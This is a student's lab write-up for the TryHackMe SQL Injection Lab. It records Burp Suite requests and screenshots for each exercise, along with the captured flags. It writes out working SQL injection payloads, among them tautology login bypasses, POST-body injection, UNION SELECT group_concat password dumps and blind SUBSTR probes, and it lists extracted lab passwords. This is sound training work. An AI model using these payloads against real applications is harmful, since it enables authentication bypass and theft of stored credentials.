

241901077

PONSURABHI V

Ex.No:4

Date:22/08/25

SQL INJECTION LAB

AIM:

To do perform SQL Injection Lab in TryHackMe platform to exploit various vulnerabilities.

ALGORITHM:

1. Access the SQL Injection Lab in TryHackMe platform using the link-
<https://tryhackme.com/r/room/sqlilab>
2. Click Start AttackBox to run the instance of KaliLinux distribution.
3. Perform SQL injection attacks on the following-
 - a) Input Box Non-String
 - b) Input Box String
 - c) URL Injection
 - d) POST Injection
 - e) UPDATE Statement
4. Perform broken authentication of login forms with blind SQL injection to extract admin password
5. Perform UNION-based SQL injection and exploit the vulnerable book search function to retrieve the flag.

241901077

PONSURABHI V

OUTPUT:

Introduction to SQL Injection: Part 1

SQL Injection 1: Input Box Non-String

Log in

dit Profile Logout

SQL Injection 1: Input Box Non-String

[M]

Francois's Profile

Flag	THM{dccea429d73d4a6b4f117ac64724f460}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

SQL Injection 2: Input Box String

Log in

dit Profile Logout

SQL Injection 2: Input Box String

Francois's Profile

Flag	THM{356e9de6016b9ac34e02df99a5f755ba}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

241901077

PONSURABHI V

10.10.58.110:5000/seqli3/login?profileID=1' or '1'='1---&password=a
Me Support Offline CyberChef Revshell Generator Reverse Shell Cheat S... GitHub - swiss
ox in a while. Do you want to clean it up for a fresh, like-new experience? And by the way, welcome back!

SQL Injection 3: URL Injection

vided does not exist!

Log in

ProfileID

Password

Log in

Edit Profile Logout SQL Injection 3: URL Injection

Francois's Profile	
Flag	THM{645eab5d34f81981f5705de54e8a9c36}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

Burp Suite Community Edition v2024.3.1.4 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Settings

Extensions Learn Intercept HTTP history WebSockets history Proxy settings

Request to http://10.10.58.110:5000

Forward Drop Intercept is on Action Open browser Add notes HTTP/1

Pretty Raw Hex

```
2 Host: 10.10.58.110:5000
3 Content-Length: 22
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://10.10.58.110:5000
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://10.10.58.110:5000/seqli4/login
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
13 Connection: close
14
15 profileID=-1' or 1=1--&password=a
```

Inspector Request attributes Request query parameters Request body parameters Request cookies Request headers

Notes

Event log All issues Memory: 126.1MB

Edit Profile Logout SQL Injection 4: POST Injection [Main]

Francois's Profile	
Flag	THM{727334fd0f0ea1b836a8d443f09dc8eb}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

Introduction to SQL Injection: Part 2

SQL Injection 5: UPDATE Statement

Edit Admin's Profile Information

Nick Name:

E-mail:

Password

Change

Profile Logout SQL Injection 5: UPDATE Statement

Admin's Profile	
Employee ID	99
Salary	R100
Passport Number	8605255014084
Nick Name	99.1.1,Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer a.,99.2.3,Donec viverra consequat quam, ut iaculis mi varius a. Phasellus.,99.3.1,Aliquam vestibulum massa justo, in vulputate velit ultrices ac. Donec.,99.4.5,Etiam feugiat elit at nisi pellentesque vulputate. Nunc euismod nulla.,99.5.6,THM{b3a540515dbd9847c29cffa1bef1edfb}.
E-mail	

Vulnerable Startup: Broken Authentication

Intercept HTTP history WebSockets history | Proxy settings

Request to http://10.10.17.26:5000

Forward Drop Intercept is on Action Open browser

Pretty | Hex

```

2
3 Content-Length: 28
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://10.10.17.26:5000
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/124.0.6367.118 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
  apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://10.10.17.26:5000/challenge1/login
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
13 Connection: close
14
15 username=l' or 'l'='l'-- -&password=pass

```

241901077

PONSURABHI V

ne Notes Profile Logout

Broken Authentication

Logged in as Unknown | [Main Men

Messages

THM{f35f47dcd9d596f0d3860d14cd4c68ec}

Vulnerable Startup: Broken Authentication 2

Broken Authentication 2

[Main Men

Log in

' UNION SELECT 1,group_concat(pass

Log in

Create an Account

Broken Authentication 2

Logged in as
rcLYWHCxeGUAsA9tH3GNV,asd,Summer2019!,345m
3io4hj3,THM{fb381dfee71ef9c31b93625ad540c9fa},
viking123 |

[Ma
in
Me
nu]

Vulnerable Startup: Vulnerable Notes

Vulnerable Notes

Log in

Username

' union select 1,group_concat(password...
(SELECT password FROM users LIMIT ...
admin' AND length((SELECT password...
SUBSTR(string, <start>, <length>) ...
SUBSTR((SELECT password FROM user...

Create an Account

241901077

PONSURABHI V

Insert

1

rcLYWHCxGUAsA9tH3GNV,asd,Summer2019!,345m3io4hj3,THM{4644c7e157fd5498e7e4026c89650814},viking123,123

Vulnerable Startup: Change Password

The screenshot shows a web application with two main sections. On the left, there is a 'Signup' form with fields for 'Username' (containing 'admin' and three asterisks) and a 'Register' button. On the right, there is a 'Change Password' form with fields for 'Current Password', 'New Password', and 'Confirm New Password', along with a 'Change' button. At the bottom, there are navigation links for 'Notes', 'Profile', and 'Logout' on the left, and 'Change Password' and 'Logged in as admin' on the right.

Vulnerable Startup: Book Title

The screenshot shows a web application with a search bar at the top. Below it, there is a table with two rows. The first row contains the text 'Title: 2' and '3'. The second row contains the text 'Author: THM{27f8f7ce3c05ca8d6553bc5948a89210},asd,Summer2019!,345m3io4hj3,viking123,123'.

Vulnerable Startup: Book Title 2

The screenshot shows a web application interface. At the top, there is a navigation bar with links for 'es', 'Profile', and 'Logout'. To the right of the navigation bar, the text 'Book Title 2' is displayed. Below the navigation bar is a search bar containing the placeholder text 'Search'. Underneath the search bar, there is a section labeled 'Title: 2' which contains the value '3'. Below this, there is a section labeled 'Author:' followed by a complex string of characters: 'THM{183526c1843c09809695a9979a672f09},asd,Summer2019!,345m3io4hj3,viking123,123'. The rest of the page is mostly blank white space.

RESULT:

Thus, the various exploits were performed using SQL Injection Attack.